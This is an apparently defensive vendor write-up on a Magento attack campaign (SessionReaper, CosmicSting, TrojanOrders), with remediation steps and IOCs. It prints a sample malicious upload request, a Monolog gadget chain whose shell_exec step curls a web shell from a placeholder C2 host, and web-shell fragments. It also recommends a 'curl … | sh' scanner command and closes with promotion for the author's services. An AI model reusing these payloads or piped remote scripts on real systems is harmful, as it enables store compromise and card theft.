Three related, internet-wide vulnerabilities are being chained against Adobe Commerce & Magento Open Source stores right now — they share one goal, unauthenticated remote code execution, and one favourite doorway: the /customer/address_file/upload controller. This is a field analysis of how the attack works, what it drops, why the files “keep coming back” after you delete them, and exactly how to lock it out.
CVE-2024-34102 · CosmicSting
CVE-2022-24086 · TrojanOrders
CVSS 9.1 — Critical
Unauthenticated RCE
At W3ctrl, we provide Magento 2 migration & upgrade services, security hardening, and Magento 2 maintenance services. If your store is showing the symptoms below, we can help patch, clean and harden it.
TL;DR
- Attackers POST a forged PHP session file to the unauthenticated
/customer/address_file/uploadendpoint, then send a craftedPUT /rest/<store>/V1/guest-carts/<id>/orderthat abuses a nested-deserialization bug to load that file as a PHP object — yielding remote code execution. - The serialized payload is a POP gadget chain (Monolog / GuzzleHttp / Laminas) that runs
curlto fetch a second-stage web shell and writes it topub/<random>.php. - It only fully works on stores using file-based session storage and unpatched Magento. Patched stores (or Redis sessions) see the upload succeed but the trigger fail (HTTP 400) — leaving inert files that AV keeps re-flagging.
- The fix is not “delete the files” — it is patch + block the upload vector + remove write/exec in the media tree + rotate the crypt key.
1. What this campaign actually is
Three related, internet-wide vulnerabilities are being chained against Adobe Commerce & Magento Open Source. They share one goal — unauthenticated remote code execution — and one favourite doorway: the customer address file-upload controller.
| CVE | Nickname | Class | What it gives the attacker |
|---|---|---|---|
| CVE-2025-54236 | SessionReaper | Improper input validation → nested deserialization (ServiceInputProcessor) | Pre-auth RCE on stores using file-based sessions. The vector seen in this write-up. |
| CVE-2024-34102 | CosmicSting | Unauthenticated XXE | Reads app/etc/env.php, steals the crypt key, forges admin API tokens, then rewrites CMS blocks to inject card-skimming JavaScript. |
| CVE-2022-24086 | TrojanOrders | Template-injection / PHP object injection at checkout | Pre-auth RCE via malicious template code in order/registration fields. |
2. The attack chain, step by step
Every hit in the wild follows the same three-call rhythm:
POST /customer/address_file/upload → HTTP 200
An unauthenticated multipart upload drops a file into pub/media/customer_address/<x>/<y>/. The “file” is actually a fake PHP session blob (named sess_…) or a polyglot image/script. Magento happily stores it — this endpoint requires no login.
PUT /rest/<store>/V1/guest-carts/<id>/order → 200 (vuln) / 400 (patched)
A crafted JSON body abuses a nested-deserialization flaw in ServiceInputProcessor to coerce the session save_path toward the uploaded file. When PHP loads that “session,” it unserialize()s the attacker’s object graph.
GET /<random>.php → 200 (shell live) / 404 (drop failed)
The deserialized POP chain executes shell_exec(), runs curl to pull a web shell from an external host, and writes it to pub/<random>.php — above the protected media directory so it can execute. The attacker then browses straight to it.
PUT returns 400 and the follow-up GET /<random>.php returns 404. The file landed on disk but never executed. That is a blocked attack — not a breach.3. How the files get uploaded (the API)
The write primitive is the stock Magento controller MagentoCustomerControllerAddressFileUpload, exposed at:
POST /customer/address_file/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----x
------x
Content-Disposition: form-data; name="file"; filename="sess_aaaaaaaa"
Content-Type: application/octet-stream
_|O:32:"MonologHandlerSyslogUdpHandler":1:{...gadget chain...}
------x--
Two facts make this dangerous:
- It is unauthenticated. No customer login, no cart, no CSRF token required.
- Most stores don’t even use it. The endpoint only matters if you have a file-type customer-address attribute. The vast majority of stores have none — so the controller is pure attack surface with zero legitimate traffic.
The trigger call is the genuine Magento guest-order REST route. A useful discriminator: real checkouts use long masked (hash) cart IDs, while the exploit uses bare integer IDs like /guest-carts/157/order. Numeric IDs on that route are almost always malicious.
4. What gets uploaded (the scripts)
Across a single campaign you typically see four payload species, in rough order of sophistication:
a) The POP-gadget session trigger (sess_…)
Not a shell itself — a serialized PHP object graph that becomes code when deserialized. The most common is the Monolog SyslogUdpHandler → BufferHandler → shell_exec chain (generatable with the open-source phpggc tool):
_|O:32:"MonologHandlerSyslogUdpHandler":1:{
S:6:"socket";
O:29:"MonologHandlerBufferHandler":7:{
S:7:"handler";r:2;
S:6:"buffer";a:1:{i:0;a:2:{i:0;
S:NNN:"curl https://<c2-host>/<payload>.php -o <MAGENTO_ROOT>/pub/<random>.php";
S:5:"level";N;}}
S:10:"processors";a:2:{i:0;S:7:"current";i:1;S:10:"shell_exec";}}}
Guzzle variants using FileCookieJar / SetCookie achieve the same write-a-file effect when Guzzle’s destructor flushes cookies to disk.
b) Image/script polyglots
Files crafted to pass image validation while still being valid PHP (.php., .phtml., GIF89a / PNG headers). They begin with image magic bytes, then a PHP block:
GIF89a<?php /* "Application Cache Manager" */ ... ?> ← GIF polyglot ‰PNG...tEXtComment <?php @passthru($_POST['9d4af205']); ?> ← PNG-cloaked shell
c) Heavily obfuscated file managers (200–240 KB)
Full-featured shells hidden behind goto flow-flattening and hex-encoded strings, parameter-driven ($_GET['item']):
<?php goto HM9AI; KxDJw: $x = $_GET["151x74145x6d"]; goto HC9pN; ...
d) Branded “designer” web shells
Off-the-shelf panels with ASCII-art banners and password gates, e.g. a “PolyShell Advanced” build authenticating via $_POST['pass'], a cookie, or ?key=md5(password), wrapping system()/exec()/shell_exec()/passthru().
5. What the scripts do
system / exec / shell_exec / passthru so any OS command can be run as the web user.curl/wget additional tooling from external hosts (often abused code-hosting/CDN URLs).app/etc/env.php for DB credentials and the crypt key; dump customer and order tables.6. Why files “keep coming back” after you delete them
This is the single most common misconception during cleanup. If you patch and delete but files reappear within hours, it is almost never a hidden “mother script.” It is one of two things:
backup/ trees). Stale shells there resurface in every AV scan.The cure for both: close the upload vector (so nothing new is written) and remove the ability to execute anything in the media tree (so anything that is written is dead on arrival).
7. What the patch fixes — and what it doesn’t (“uploaded” ≠ “hacked”)
The most common question after patching: “We’re on the latest version — so why do malicious files still keep appearing?” The answer is that Adobe’s fix and the file upload are two different things.
| Step | What it is | Fixed by the patch? |
|---|---|---|
| POST /customer/address_file/upload | A legitimate, built-in Magento feature — accepts a file and writes it to disk. Unauthenticated by design. | NO still works on every version, including a fully patched 2.4.8 / 2.4.9 |
| PUT …/guest-carts/<id>/order | The actual exploit — nested deserialization that turns the uploaded file into executing PHP. | YES returns HTTP 400 and fails on a patched store |
pub/media/.htaccess blocks PHP execution there regardless. A malware scanner flags them only because they sit on disk, not because anything ran. As Sansec put it: “Adobe’s patch addresses deserialization but not arbitrary file uploads.”This is exactly why patching alone never makes the alerts stop — fresh inert files keep landing. The only way to stop the uploads themselves is to block the upload endpoint at the web-server layer (see remediation step 2). That hardening is your responsibility; Adobe’s patch does not do it for you.
8. Patch availability by version (APSB25-88)
Adobe fixed both Adobe Commerce and Magento Open Source — but only on currently supported branches. End-of-life versions received nothing, and never will.
| Branch | Fixed in | Coverage |
|---|---|---|
| 2.4.8 | 2.4.8-p2 | Commerce + Open Source |
| 2.4.7 | 2.4.7-p7 | Commerce + Open Source |
| 2.4.6 | 2.4.6-p12 | Commerce + Open Source |
| 2.4.5 | 2.4.5-p14 | Commerce + Open Source |
| 2.4.4 | 2.4.4-p15 | Commerce + Open Source |
| 2.4.3 and earlier | — | EOL — no patch |
| 2.3.x | — | EOL — no patch |
- Open Source is covered too, not just paid Adobe Commerce — identical fixed version numbers for both.
- An isolated / standalone hotfix (
VULN-32437-2-4-X-patch) is available for stores that can’t do a full version upgrade immediately. - Adobe Commerce installs must also bump the Custom Attributes Serializable module to
0.4.0+for the fix to fully apply. - Adobe back-ported unusually far (down to 2.4.4) because of the severity — but it stopped at supported branches.
vendor/magento/framework/Webapi/ServiceInputProcessor.php for the “allow only simple types or Api Data Objects” restriction, or apply the isolated patch. And note: pre-release alpha/beta builds are not production-safe even when they happen to carry the fix — run a stable GA release.9. Indicators of Compromise (IOC)
Request patterns (web/access logs)
POST /customer/address_file/upload ← unauthenticated upload PUT /rest/*/V1/guest-carts/<NUMERIC>/order ← deserialization trigger (integer ID = bad) POST /rest/*/V1/guest-carts/*/estimate-shipping-methods ← CosmicSting XXE probe (often 404) GET /<random-hex>.php ← attacker checking if the drop landed
On-disk artefacts
*.php.
*.phtml.
*.php8 / *.php56 / *.phar
*.inc (PHP body)
pub/<random-hex>.php
pub/media/custom_options/quote/**/*.php
Legitimate customer-address uploads are only ever images/PDFs. Any PHP-ish content under these paths is malicious.
Payload signatures (grep)
O:32:"Monolog\Handler\SyslogUdpHandler" SyslogUdpHandler / BufferHandler
GuzzleHttp\Cookie\FileCookieJar Guzzle write gadget
@eval($_REQUEST[ classic eval backdoor
passthru($_POST[ command shell
GIF89a<?php / ‰PNG ... <?php image polyglot
goto [A-Za-z0-9]{4,}; + \x?? hex strings goto-obfuscated shell
Network IOCs (campaign-observed & vendor-published)
Attacker infrastructure rotates constantly; treat IPs as short-lived. Use them to triage logs, not as a long-term blocklist.
| Type | Indicators |
|---|---|
| Source IPs (observed, rotating) | 198.186.131.58, 185.219.7.181, 5.101.4.144, 180.247.63.32, 88.201.241.104, 194.110.207.62, 185.170.153.97 |
| Source IPs (vendor-tracked subset) | 23.146.184.93, 23.249.27.221, 34.227.25.4, 44.212.43.34, 45.32.66.51, 157.230.230.193, 185.175.225.116 |
| 2nd-stage / C2 hosts (examples) | abused public code-hosting & CDN URLs; skimmer domains such as cdnstatics.net, statspots.com, chartismart.com, sagecrafft.com, tecnokauf.ru |
| Drop filename pattern | pub/<12-hex>.php (e.g. 1c90….php, 894d….php, 08a1….php) |
10. How to tell if you’re hit
Run these from the Magento root (read-only — they don’t change anything):
# 1. Any PHP-ish content under the upload/quote media paths? (should be ZERO) find pub/media/customer_address pub/media/custom_options -type f ( -name '*.php*' -o -name '*.phtml*' -o -name 'sess_*' -o -name '*.inc' -o -name '*.phar' ) 2>/dev/null # 2. Rogue PHP dropped at the pub/ root (legit files are index/get/static/health_check/cron only) find pub/ -maxdepth 1 -type f -name '*.php' -printf '%TY-%m-%d %pn' # 3. Backdoor signatures across the codebase (excluding vendor noise) grep -rlE '@?(eval|assert|passthru|shell_exec|system)s*(s*$_(POST|GET|REQUEST)|SyslogUdpHandler|FileCookieJar' --include='*.php' --include='*.inc' --include='*.phtml' --exclude-dir=vendor --exclude-dir=generated . 2>/dev/null # 4. The blocked-attack signature in access logs (upload 200 + trigger 400 = patched & holding) grep -E 'address_file/upload|guest-carts/[0-9]+/order' access_ssl_log | tail -40 # 5. Confirm the crypt key was not exfiltrated via CosmicSting probes grep -E 'guest-carts/[0-9]+/estimate-shipping-methods' access_ssl_log | tail # 6. Optional: dedicated scanner curl https://ecomscan.com | sh
11. How to secure a Magento store (full remediation)
Do these in order. Steps 1–4 stop the bleeding; 5–8 close the wound; 9+ prevent recurrence.
1. Patch Magento P1 · do first
Upgrade to a release that includes the SessionReaper fix (Adobe bulletins APSB25-88 / APSB25-94) and the CosmicSting fix (APSB24-40). If a full upgrade isn’t immediately possible, apply Adobe’s isolated patch for vendor/magento/framework/Webapi/ServiceInputProcessor.php. Stay current — 2.3.x is end-of-life and must be migrated.
2. Block the upload vector at the web server P1
If you have no file-type address attribute (most stores don’t), forbid the endpoint outright. Durable, instant, zero legitimate impact:
# .htaccess at the document root (Apache)
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_URI} (^|/)customer/address_file/upload [NC]
RewriteRule .* - [F,L]
RewriteCond %{REQUEST_METHOD} =PUT
RewriteCond %{REQUEST_URI} (^|/)rest/V[0-9]+/guest-carts/[0-9]+/order [NC]
RewriteRule .* - [F,L]
</IfModule>
# nginx equivalent
location ~* /customer/address_file/upload { return 403; }
Or disable the controller in code by short-circuiting MagentoCustomerControllerAddressFileUpload with http_response_code(400); exit;.
3. Kill PHP execution & writes in the media tree P1
Even if a file lands, it must be inert. In pub/media/ (and confirm it cascades to customer_address/ + custom_options/):
# pub/media/.htaccess <FilesMatch ".(ph(p[0-9]?|tml|ar)|inc|sh|pl|py|cgi|asp|aspx|jsp)$"> Require all denied </FilesMatch> <IfModule mod_php.c> php_flag engine 0 </IfModule> SetHandler default-handler
In customer_address/.htaccess and custom_options/.htaccess use a deny-all + image-only allowlist (jpg jpeg png gif webp svg pdf). Where supported, drop write permission on those directories entirely.
4. Switch sessions to Redis P1
SessionReaper’s RCE path requires file-based sessions. Moving session storage to Redis removes the executable vector. In app/etc/env.php:
'session' => ['save' => 'redis', 'redis' => ['host'=>'127.0.0.1','port'=>'6379','database'=>'2']]
5. Rotate the encryption (crypt) key P2
Assume the key in app/etc/env.php leaked (CosmicSting reads it pre-auth). Generate a new key and re-encrypt secrets — otherwise attackers keep forging admin API tokens and re-injecting CMS-block skimmers even after you patch.
6. Hunt & remove backdoors P2
Back up first, then delete. Sweep every install on the account — primary docroot, staging siblings, backup/ trees. Re-run a scanner (eComscan) until clean. Search the DB too: rogue rows in admin_user, integration/oauth_token, and <script>/eval in cms_block & core_config_data.
7. Audit accounts & tokens P2
Review every admin_user (watch for fake emails like *@google.com and accounts created around the attack window), revoke unknown integrations and API tokens, and force an admin password reset.
8. Make critical files read-only P3
After deploy, remove write permission from pub/index.php, pub/static.php, app/etc/env.php (perms 640), app/etc/config.php. Restore the standard permission scheme — dirs 755, files 644, writable paths 2775/664, bin/magento 755. Never leave anything at 777.
9. Deploy a WAF & monitoring P3
Front the store with a WAF tuned for these signatures (a Magento-specialist ruleset blocks more of the chain than generic Cloudflare/Fastly rules). Add Content-Security-Policy reporting to catch skimmer injection, and alert on unexpected CMS-block changes and on guest-carts/<numeric>/order traffic.
12. Hardening checklist
| # | Control | Effect |
|---|---|---|
| 1 | Magento patched to current p-release (SessionReaper + CosmicSting) | Closes the deserialization & XXE primitives |
| 2 | /customer/address_file/upload blocked / controller disabled |
No new files can be written |
| 3 | Numeric guest-carts/<id>/order PUT blocked |
Kills the trigger call |
| 4 | No PHP/CGI execution anywhere under pub/media |
Any dropped file is inert |
| 5 | Redis (not file) session storage | Removes the RCE vector entirely |
| 6 | Crypt key rotated & secrets re-encrypted | Invalidates stolen-key persistence |
| 7 | admin_user / integration / oauth_token audited | Removes account-level footholds |
| 8 | env.php 640, index.php/static.php read-only, no 777 |
Limits write & disclosure |
| 9 | WAF + CSP + CMS-block change alerts | Detects & blocks recurrence |
| 10 | Scheduled malware scans on every install (incl. staging) | Catches missed locations early |
13. References & further reading
- Sansec — SessionReaper: unauthenticated RCE in Magento & Adobe Commerce (CVE-2025-54236)
- Sansec — CosmicSting attack & defense overview (CVE-2024-34102)
- Searchlight Cyber — Why nested deserialization is still harmful — Magento RCE (CVE-2025-54236)
- Splunk — CosmicSting: a critical XXE in Adobe Commerce and Magento
- NVD — CVE-2024-34102 detail
- watchTowr Labs — Adobe Commerce/Magento RCE (CVE-2022-24086)
- ambionics — phpggc: PHP Generic Gadget Chains
- Adobe Security Bulletins — APSB25-88 / APSB25-94 (SessionReaper), APSB24-40 (CosmicSting), APSB22-12 (TrojanOrders)
This write-up is prepared for educational and defensive purposes. All host, store, and path references are generic. Indicator lists reflect a point-in-time campaign and public vendor research; attacker infrastructure changes frequently — verify against current sources before acting.
Need help securing or recovering a compromised Magento store? W3ctrl offers Magento patching, malware cleanup, hardening, and Magento 2 upgrade & migration services. Reach out today.
Automate Vulnerability Detection with MageArgus
Manually checking your server logs for the IOCs (Indicators of Compromise) associated with CosmicSting and SessionReaper is tedious and prone to human error. Attackers frequently rotate their payloads and IP addresses to avoid detection by static grep searches.
To definitively secure your Magento architecture, we recommend running a continuous, automated external security audit. MageArgus is a specialized Magento security scanner developed by the engineers at W3ctrl. It performs deep heuristic analysis of your public-facing assets, instantly detecting the presence of polyglot backdoors, exposed API endpoints, and missing Adobe Commerce patches before attackers can exploit them.
Is Your Magento Store Secure?
Vulnerabilities like CosmicSting and SessionReaper are actively exploited. Scan your website in seconds to detect malware, exposed endpoints, and missing patches.
Run Free Security Scan on MageArgus →
Fact-Checked & Verified by W3ctrl
This content has been written and reviewed by Adobe-Certified Technical Experts with over 16 years of experience in Enterprise Architecture.
